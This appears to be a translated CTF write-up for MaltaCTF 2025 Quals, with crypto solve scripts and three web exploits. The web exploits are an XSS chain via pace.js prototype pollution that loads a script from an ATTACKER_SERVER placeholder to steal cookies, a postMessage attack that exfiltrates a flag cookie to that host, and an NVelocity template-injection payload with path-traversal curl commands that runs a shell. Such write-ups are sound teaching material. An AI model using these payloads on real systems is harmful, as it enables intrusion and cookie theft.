MaltaCTF 2025 Quals WriteUps
This article is automatically translated by LLM, so the translation may be inaccurate or incomplete. If you find any mistake, please let me know.
You can find the original article here .
This week, I participated in MaltaCTF 2025 Quals organized by FMC with ${cystick}. As expected, the challenges were both fun and challenging. This time, I only solved a few crypto and web problems.
crypto
2log
from sage.all import matrix, GF, ZZ, randint
FLAG = b"maltactf{???????????????????????????????????}"
k0, k1 = int.from_bytes(FLAG[:len(FLAG)//2+4], "big"), int.from_bytes(FLAG[len(FLAG)//2:], "big")
G = matrix(ZZ, [[1401, 2],[-2048, 1273]])
h1 = ((G**k0)[0][0]).bit_length() - randint(-2**32, 2**32)
G = matrix(GF(2**255-19), G)
h2 = (G**k1)[0][0]
h3 = (G**k1)[0][1]
print(f'{h1 = }')
print(f'{h2 = }')
print(f'{h3 = }')
"""
h1 = 1825310437373651425737133387514704339138752170433274546111276309
h2 = 6525529513224929513242286153522039835677193513612437958976590021494532059727
h3 = 42423271339336624024407863370989392004524790041279794366407913985192411875865
"""
This problem basically asks you to solve two log problems. The first one gives you:
The goal is to find .
This part can be solved by utilizing the property , where is the eigenvalue with the largest absolute value. So . Doing this, you will find that 's eigenvalues only have as a repeated root.
The second log part gives you
Everything is done under , and the goal is to find .
Since 's eigenvalues are repeated, it cannot be diagonalized, so there is a Jordan form:
And there exists a matrix such that . Therefore, .
The power of the Jordan form is:
Since are both known, you can directly solve the linear equations to find .
from sage.all import *
h1 = 1825310437373651425737133387514704339138752170433274546111276309
h2 = 6525529513224929513242286153522039835677193513612437958976590021494532059727
h3 = 42423271339336624024407863370989392004524790041279794366407913985192411875865
ln = 45 # flag length
# stage 0
G = matrix(ZZ, [[1401, 2], [-2048, 1273]])
print(G.eigenvalues()) # 1337, 1337
lam = int(G.eigenvalues()[0])
k0 = int(round(h1 / log(lam, 2)))
# stage 1
F = GF(2**255 - 19)
G = matrix(F, G)
v = vector([h2, h3])
J, P = G.jordan_form(transformation=True)
assert P * J * ~P == G
# J =
# [1337 1]
# [ 0 1337]
# J^k =
# [1337^k k*1337^(k-1)]
# [0 1337^k]
# x=[1 0]
# v=x*G^k=x*P*J^k*~P
# v*P=(x*P)*J^k
vP = v * P
xP = P[0]
k, lk1 = polygens(F, ["k", "lk1"]) # k, lam^(k-1)
z0, z1 = xP * matrix([[lk1 * lam, k * lk1], [0, lam * lk1]]) - vP
k1 = int(z0.sylvester_matrix(z1, lk1).det().univariate_polynomial().roots()[0][0])
flag0 = k0.to_bytes(ln // 2 + 4, "big")[:-4]
flag1 = k1.to_bytes(ln - ln // 2, "big")
print(flag0 + flag1)
# maltactf{tw0-d10g5?_m0r3_l1kE_d0ubl3-l1nAlg!}
grammar nazi
from Crypto.Util.number import *
FLAG = 'maltactf{???????????????????????????????}'
assert len(FLAG) == 41
p = getPrime(128)
q = getPrime(128)
N = p * q
e = 65537
m = f'The flag is {FLAG}'
c = pow(bytes_to_long(m.encode()), e, N)
# ERROR: Sentences should end with a period.
m += '.'
c += pow(bytes_to_long(m.encode()), e, N)
# All good now!
print(f'{N = }')
print(f'{c = }')
'''
N = 83839453754784827797201083929300181050320503279359875805303608931874182224243
c = 32104483815246305654072935180480116143927362174667948848821645940823281560338
'''
This is an RSA problem. First, is only 256 bits, which can be factored directly (or using factordb lol). However, the difficulty lies in the fact that in this problem is not a standard RSA encryption.
Let the part f'The flag is {FLAG}'
be . Then the calculation of is:
So we have a polynomial
We need to find its roots in , and then combine them using CRT. However, a more troublesome point is that is not small, and sage's f.roots()
cannot compute it.
I first used pari.polrootsmod
to solve this part, which is much faster than sage's f.roots()
. Then, seeing the flag, I realized there is another method using Fermat's Little Theorem:
The key is that contains all elements in . So, taking the polynomial , and have the same roots. Therefore, we can find the roots by computing . I later remembered seeing this method here.
Finally, after solving for the roots separately, combine them using CRT. It's also important to note that the entire message length is greater than , so you need to remove the known plaintext part, leaving only the ????...
part.
from sage.all import *
n = 83839453754784827797201083929300181050320503279359875805303608931874182224243
c = 32104483815246305654072935180480116143927362174667948848821645940823281560338
p = 276784813000398431755706235529589161781
q = n // p
assert n == p * q
e = 65537
def solve_rs(p):
x = polygen(GF(p))
f = x**e + (x * 256 + ord(".")) ** e - c
return [int(x.sage()) for x in pari.polrootsmod(f, p)]
def solve_rs2(p):
x = polygen(GF(p))
f = x**e + (x * 256 + ord(".")) ** e - c
g = pow(x, p, f) - x
return [int(x) for x, _ in f.gcd(g).roots()]
rsp = solve_rs(p)
rsq = solve_rs(q)
tmpl = int.from_bytes(
b"The flag is maltactf{???????????????????????????????}".replace(b"?", b"\x00"),
"big",
)
for rp in rsp:
for rq in rsq:
r = crt([rp, rq], [p, q])
f = (r - tmpl) / 256 % n
flag = int(f).to_bytes(41, "big").strip(b"\x00")
if flag.isascii():
print(flag)
# maltactf{Ferm4ts_littl3_polyn0mial_tr1ck}
true random
from qiskit.circuit.random import random_circuit
from qiskit.quantum_info import Operator
from qiskit.quantum_info import Statevector
from numpy import array, save
from math import log2
import random
random = random.SystemRandom()
flag = open("flag.txt", "r").read().strip()
flag_len = len(flag)*8
assert flag_len == 256
depth = 10
qubits = int(log2(flag_len))
flag_bits = [int(bit) for bit in ''.join(format(ord(c), '08b') for c in flag)]
def random_pair(op):
otp_key = [random.choice([0,1]) for _ in range(flag_len)]
i = Statevector(otp_key)
f = i.evolve(op)
enc = array([flag_bits[i] ^ otp_key[i] for i in range(flag_len)])
return array([enc, f.data])
ops = []
for _ in range(13):
qc = random_circuit(qubits, depth, measure=False)
op = Operator(qc)
ops.append(op)
sets = 256
data = array([random_pair(random.choice(ops)) for _ in range(sets)])
save("enc.npy", data)
This problem gives you 256 flags encrypted with OTP, and the result of transforming the OTP key bits using a random unknown quantum circuit generated by qiskit.
Here I found that the output f.data
is a 256-sized complex vector. The sum of their norms is exactly sum(otp_key)
, so we can know how many are in the OTP key.
Thus, our problem becomes: we have many OTP ciphertexts of the flag, and we know the Hamming weight of the key. How do we find the flag?
This problem reminds me of SEETF 2022 - Neutrality, which is almost identical. So I can just copy its LLL solution.
from sage.all import *
import numpy as np
from tqdm import tqdm
from binteger import Bin
bits = 256
P = PolynomialRing(ZZ, bits, "x")
fs = P.gens()
data = np.load("enc.npy")
# ref: https://blog.maple3142.net/2022/06/06/seetf-2022-writeups/#neutrality
eqs = []
for enc, fdata in tqdm(data):
hw = int(
round(sum([abs(x) ** 2 for x in fdata]))
) # this is the hamming weight of the otp
eq = sum([(f - e) ** 2 for f, e in zip(fs, enc.astype(int))]) - hw
eqs.append(eq)
eqs = Sequence([f - g for f, g in zip(eqs, eqs[1:])])
M, monos = eqs.coefficients_monomials()
M = M.dense_matrix()
A = M[:, :-1]
b = vector(M[:, -1])
def lllsolve(A, b):
# find a *small* solution x such that A*x=b
A = A.T
nr, nc = A.dimensions()
A = A.augment(matrix.identity(nr))
A = A.stack(vector(list(b) + [0] * nr))
A[:, :nc] *= 2**30
for row in A.LLL():
if row[:nc] == 0:
return row[nc:]
sol = lllsolve(A, b)
print(Bin(sol).bytes)
# maltactf{f55dc5132f9529106d6e:3}
web
fancy text generator
This is an XSS problem. Server:
app.use((req, res, next) => {
res.set('Content-Security-Policy', "script-src 'sha256-1ltlTOtatSNq5nY+DSYtbldahmQSfsXkeBYmBH5i9dQ=' 'strict-dynamic'; object-src 'none';");
next();
});
app.get('/', (req, res) => {
const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);
return res.render('index', {text: DOMPurify.sanitize(req.query.text)})
})
This means the problem has a CSP with nonce + strict-dynamic. The main route receives HTML input, processes it with dompurify, and puts it on the page. And index.ejs
indeed allows injection:
<head>
<title>Fancy Text Generator!</title>
<link href="https://cdn.jsdelivr.net/npm/pace-js@1.2.4/pace-theme-center-atom.min.css" rel="stylesheet">
<link href="/style.css" rel="stylesheet">
<script integrity="sha256-1ltlTOtatSNq5nY+DSYtbldahmQSfsXkeBYmBH5i9dQ=" src="/loader.js"></script>
</head>
<body>
<h1>Fancy text generator</h1>
<div id="contentBox"><%- text || "fancy text generator!" %></div>
</br>
<form action="/" method="GET">
<input name="text" placeholder="text to make fancy">
<input type="submit" value="submit">
</form>
</body>
Obviously, without bypassing dompurify, you can't do anything like this. Even if you could bypass it, the CSP would still block it. So the key is loader.js
:
scripts = {
"pace": "https://cdn.jsdelivr.net/npm/pace-js@latest/pace.min.js",
"main": "/main.js",
}
function appendScript (src) {
let script = document.createElement('script');
script.src = src;
document.head.appendChild(script);
};
for (let script in scripts) {
appendScript(scripts[script]);
}
It loads pace.min.js
and main.js
separately. The former can first be seen here to have prototype pollution from the DOM:
<div data-pace-options='{"__proto__":{"a":1}}'></div>
But executing this doesn't work because main.js
does this:
const toFancyText = (text) => {
// some processing with text
}
contentBox.innerText = toFancyText(contentBox.innerText)
Your injected HTML is in #contentBox
, so if main.js
finishes loading before pace.js, your HTML will be overwritten, causing the pollution to fail. The bypass is simple: give your div the id="contentBox"
, so accessing it via window[id]
will get an HTML collection, causing toFancyText
to throw an error, and your HTML won't be overwritten.
<div id="contentBox" data-pace-options='{"__proto__":{"a":1}}'></div>
Next is how to achieve XSS solely through prototype pollution. I couldn't find a way myself, so I looked for other gadgets in pace.js and found another XSS in pace.js: here
Since there's an XSS, we can inject an iframe. In the iframe, first use pace.js to PP, and then trigger the loading of loader.js
again. Then for (let script in scripts)
will get our polluted prototype value, allowing us to control the target loaded by appendScript
.
Script to generate the payload (execute in the console of the challenge page):
html = `<iframe srcdoc='
<img id=contentBox data-pace-options="{ &quot;__proto__&quot;: {&quot;a&quot;:&quot;https://ATTACKER_SERVER/exp.js&quot;} }">
<script integrity="sha256-1ltlTOtatSNq5nY+DSYtbldahmQSfsXkeBYmBH5i9dQ=" src="/loader.js"></script>
<script integrity="sha256-1ltlTOtatSNq5nY+DSYtbldahmQSfsXkeBYmBH5i9dQ=" src="https://ATTACKER_SERVER/loader.js.php" crossorigin="anonymous"></script>
'></iframe>`
html = html.replace(/"/g, '\\u0022').replace(/'/g, '\\u0027').replace(/\n/g, '\\n').replace(/&/g, '\\u0026')
location =
'/?text=' +
encodeURIComponent(`
<img id=contentBox data-pace-options='{ "startOnPageLoad": true, "className": "peko \\">${html}", "__proto__": {"a":1} }'>
`)
// maltactf{oops_my_dependency_is_buggy_05b19465ce19db4e28ddb00bb19f101e}
exp.js
is the payload to steal cookies, which is not important. loader.js.php
is a simple PHP program that outputs the content of loader.js
after a delay. This ensures that the second load of loader.js
will use the polluted prototype.
<?php
sleep(1);
header('Access-Control-Allow-Origin: *');
header('Content-Type: application/javascript');
echo file_get_contents('https://fancy-text-generator-web.shared.challs.mt/loader.js');
AdBlocker
This problem has two origins: web
and analytics
.
The flag is in the cookie of analytics
. It has an /integrate
page that receives postMessage
. If the source is from a specific origin (including web
), it can be made to actively send the flag to any location:
<script>
const TRUSTED_ORIGINS = [/*TRUSTED_ORIGINS*/];
function isTrustedOrigin(origin) {
return TRUSTED_ORIGINS.includes(origin);
}
window.addEventListener('message', (event) => {
if (!isTrustedOrigin(event.origin)) {
console.warn('Rejected message from untrusted origin:', event.origin);
return;
}
if (!event.data || typeof event.data !== 'object') {
console.warn('Invalid message format received');
return;
}
if (event.data.analytics && event.data.url) {
if (isTrustedOrigin(event.origin)) {
navigator.sendBeacon(event.data.url, JSON.stringify({"analytics-tracking-cookies": document.cookie, "url": event.data.url}));
}
}
});
if (window.parent) {
window.parent.postMessage({
payload: 'Integration successful :D'
}, '*');
}
</script>
So we need to find a way to get XSS under the web
origin.
Then the web
part has /ad.html
, the key part is as follows:
<script>
window.addEventListener('message', (event) => {
if (event.source.parent !== window) {
return;
}
if (event.data && event.data.payload) {
document.getElementById('ad-hello').innerHTML = event.data.payload;
}
});
function tempAd() {
const iframe = document.createElement('iframe');
iframe.src = `http://${window.location.hostname}:3000/integrate`;
iframe.width = '100%';
iframe.height = '100%';
iframe.style.border = 'none';
const container = document.getElementById('ad-container');
container.appendChild(iframe);
setTimeout(async () => {
await import('/ad.js');
}, 1);
}
tempAd();
</script>
It loads the analytics
's /integrate
page, and the HTML received from that iframe is put on the page. So if it's controllable, we can achieve XSS. A simple idea is to use window reference to do w.frames[0].location = ...
to change the iframe's page, and then post message to trigger the web
XSS.
However, doing this directly doesn't work because ad.js
removes the iframe after pinging analytics
:
(async function() {
const container = document.getElementById('ad-container');
const currentHost = window.location.hostname;
const analyticsUrl = `http://${currentHost}:3000/ping`;
try {
await fetch(analyticsUrl);
if (container && container.firstChild) {
container.removeChild(container.firstChild);
}
} catch (error) {
console.log('Analytics service not available');
}
})();
So for the attack to succeed, we need to finish the above steps before it removes the iframe, which is not easy. However, I thought about it differently: what if we just block the fetch
part? Because browsers have some connection pool mechanisms that limit the number of connections based on certain rules, as long as we keep fetching the analytics
's /ping
page on our exploit page to delay that fetch, the attack can succeed.
<script>
const sleep = ms => new Promise(resolve => setTimeout(resolve, ms))
const main = async () => {
const runInAttackerOrigin = async () => {
const runInAdOrigin = async () => {
console.log('xss', location.href, origin)
const w = window.open('http://analytics:3000/integrate', '_blank')
setTimeout(() => {
w.postMessage(
{
url: 'http://ATTACKER_SERVER/flag.php',
analytics: true
},
'*'
)
}, 500)
}
const xss = `<img src=x: onerror="(${runInAdOrigin})()">`
parent.postMessage(
{
payload: xss
},
'*'
)
}
const frameurl = URL.createObjectURL(
new Blob([`<script>(${runInAttackerOrigin})()<\/script>`], { type: 'text/html' })
)
let cnt = 0
const it = setInterval(() => {
for (let i = 0; i < 20; i++) fetch('http://analytics:3000/ping') // prevent analytics /ping from being loaded
for (let i = 0; i < 1000; i++) {
try {
w.frames[0].location = frameurl
console.log('success')
clearInterval(it)
break
} catch {}
}
if (cnt > 10) clearInterval(it)
cnt++
}, 1)
}
main()
// maltactf{th1s_w4s_4s_exh4ust1V3_aS_th3_C0nnection_P00l}
</script>
<iframe
src="http://web:1337/ad.html"
name="w"
sandbox="allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox"
></iframe>
Enterprise Template as a Service
This is a dotnet problem. The key part is the following:
app.MapPost("/", async (HttpContext context) =>
{
var form = await context.Request.ReadFormAsync();
string templateName = form["template"];
if (string.IsNullOrEmpty(templateName))
{
await context.Response.WriteAsync("missing template field");
return;
}
var templatePath = Path.Combine("templates", templateName);
VelocityEngine velocity = new VelocityEngine();
velocity.Init();
VelocityContext velocityContext = new VelocityContext();
velocityContext.Put("name", System.Net.WebUtility.HtmlEncode(form["name"].ToString()));
velocityContext.Put("url", System.Net.WebUtility.HtmlEncode(form["url"].ToString()));
velocityContext.Put("date", System.Net.WebUtility.HtmlEncode(DateTime.Now.ToString()));
var writer = new StringWriter();
try {
var template = await File.ReadAllTextAsync(templatePath);
Boolean ok = velocity.Evaluate(velocityContext, writer, templateName, template);
} catch (Exception e) {
await context.Response.WriteAsync("template rendering failed");
return;
}
context.Response.ContentType = "text/html; charset=utf-8";
await context.Response.WriteAsync(writer.ToString());
});
Simply put, you can specify a path to read, and it will render it using the NVelocity template engine. The goal is RCE by calling /readflag
.
First, the obvious goal is SSTI, but the payload can only come from local. What to do? This is not difficult. You can achieve this directly through the big file upload buffering that many frameworks have. Usually, uploaded files are temporarily stored somewhere. Although we don't know the filename, we can still read it using /proc/self/fd/...
. This technique is quite an old CTF trick, for example, I did this in UIUCTF 2022 - spoink.
So the rest is just using Nvelocity syntax to call shell through c# reflection. For this part, I looked up information online and constructed the payload after some time:
#set($e="e")
#set($loadfile=$e.GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile"))
$loadfile
#set($args=["/usr/share/dotnet/shared/Microsoft.NETCore.App/8.0.17/System.Diagnostics.Process.dll"])
#set($proc=$loadfile.Invoke($null, $args.ToArray()))
#set($methods=$proc.GetType("System.Diagnostics.Process").GetMethods())
#set($args=["sh", "-c /readflag>/tmp/flag"])
#foreach($meth in $methods)
$velocityCount: $meth
#if($velocityCount == 71)
#set($r=$meth.Invoke($null, $args.ToArray()))
$r.WaitForExit()
$r.ExitCode
#end
#end
The above first gets Assembly
from String
, then LoadFile
loads System.Diagnostics.Process.dll
, and then runs shell through Process.start
, writing the flag to /tmp/flag
. This way, we can get the flag by reading /tmp/flag
using path traversal the second time.
To execute the exploit, you need to save the above content to test.tmpl
, append a lot of garbage padding to make it exceed 64kb, and then race it:
for i in {1..10}; do curl 'https://etaas-619ec4c980a829be.instancer.challs.mt' -F 'template=../../../../../proc/1/fd/231' -F 'name=qw' -F 'url=cc' -F 'qq=@test.tmpl' &; done
If successful, send another request to read the file:
curl 'https://etaas-619ec4c980a829be.instancer.challs.mt' -F 'template=../../../../../tmp/flag' -F 'name=w' -F 'url=cc' -F 'qq=q'
# maltactf{why_is_there_java_in_my_c#_6e95af9cd14fdcb0e544afccc5108c85}